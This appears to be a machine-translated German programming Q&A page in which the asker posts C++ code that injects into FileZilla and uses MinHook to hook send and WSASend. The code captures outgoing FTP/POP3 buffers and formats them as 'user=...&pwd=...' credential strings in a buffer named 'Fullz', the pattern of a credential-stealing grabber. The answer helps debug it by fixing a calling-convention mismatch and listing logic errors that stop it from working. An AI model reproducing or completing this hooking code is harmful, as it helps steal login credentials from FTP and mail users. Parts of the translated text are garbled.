2017-01-01 4 views
1

Ich versuche, Send/WSASend zu haken, um Datenverkehr zu überwachen, Daten in der MessageBox anzuzeigen, wenn ich andere Nachrichten als eine MessageBox mit dem Datenverkehr anzeigen lasse.Hooking Send/WSASend gibt Laufzeitprüfungsfehler zurück # 0

Der Code scheint korrekt zu kompilieren, sieht wie folgt aus unter

#include "stdafx.h" 
#include "MinHook.h" 
#include <Windows.h> 
#include <stdio.h> 
#include <Wininet.h> 
#include <fstream> 
#include <string> 
#include <vector> 
#include <winsock2.h> 
#include "popftphook.h" 

#pragma comment (lib, "wininet") 
#pragma comment(lib,"urlmon") 
#pragma comment(lib, "ws2_32") 

using namespace std; 

LPVOID original_functionwsa = NULL; 
LPVOID original_functionsend = NULL; 

template <typename T> 
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal) 
{ 
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal)); 
} 

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags); 
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine); 
void ExportBuffer(char *buf, SOCKET s); 
send_FuncType True_send = NULL; 
OldWSASend TrueWSAhook1 = NULL; 

void ExportBuffer(char *buf, SOCKET s) 
{ 
    char *buffer = (char*)buf; 
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0) 
    { 
     sockaddr_in peeraddr; 
     int size = sizeof(peeraddr); 
     getpeername(s, (struct sockaddr *)&peeraddr, &size); 
     struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr; 
     char* IP = inet_ntoa(peeraddr.sin_addr); 
     int Port = (int)htons(peeraddr.sin_port); 

     if (IP != NULL && Port > 0) 
     { 
      char Fullz[250]; 
      wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port); 
      MessageBoxA(0, Fullz, 0, 0); 
     } 
    } 
} 


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags) 
{ 
    int hResult = True_send(s, buf, len, flags); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)buf, s); 
    } 

    return hResult; 
} 

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) 
{ 
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)lpBuffers->buf, s); 
    } 
    return hResult; 

} 

void hookSend() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send"); 
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void hookWSApop() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend"); 
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void poptrigger() 
{ 
    hookSend(); 
    hookWSApop(); 
} 

Wenn ich in filezilla injizieren erhalten i Runtime check error # 0 auf der Leitung 57.

Antwort

3

Ihre send_FuncType typedef ist eine ausdrückliche Berufung fehlt Konvention, so wird der Standard des Compilers (normalerweise __cdecl) verwendet. send() verwendet die Aufrufkonvention __stdcall (wie fast jede Win32-API-Funktion). So verursachen Sie wahrscheinlich Laufzeitfehler beim Aufruf von True_send() aufgrund dieser nicht übereinstimmenden Aufrufkonvention. Das WINAPI Makro enthält die __stdcall Konvention, so dass Sie keine ähnliche Diskrepanz auf Ihrem WSASend()-Hook haben.

Auch hat ExportBuffer() ziemlich viel Logik Bugs:

  1. send() und WSASend() arbeiten nicht auf nullterminierte Puffer (und Nullabschluss existieren nicht in den FTP- und POP3-Protokolle), aber Ihre strncmp und wsprintfA Operationen erwarten Null-terminierte Daten.
  2. Sie berücksichtigen die stromorientierte Natur von TCP überhaupt nicht. Es gibt keine Garantie, dass ein bestimmter Puffer vollständige Zeichenfolgen enthält. Sie müssen darauf vorbereitet sein, Strings zu verarbeiten, die sich über mehrere Puffer erstrecken.
  3. Sie gehen davon aus, dass alle Sockets nur IPv4 verwenden, aber das ist nicht garantiert. Um sowohl IPv4 als auch IPv6 zu unterstützen, verwenden Sie sockaddr_storage anstelle von sockaddr_in, und verwenden Sie InetPton() anstelle von inet_ntoa().
  4. Sie übergeben nicht genügend Parameter an wsprintfA(). Sie haben 4 Formatbezeichner, übergeben jedoch nur 3 Datenwerte.
  5. Sie scheinen FTP- und POP3-Protokolle zu verarbeiten, aber die Zeichenfolgen "FTP" und "POP" erscheinen nicht in den übertragenen Daten in diesen Protokollen. Was suchen Sie also?

Sie müssen diese Fehler beheben.

Verwandte Themen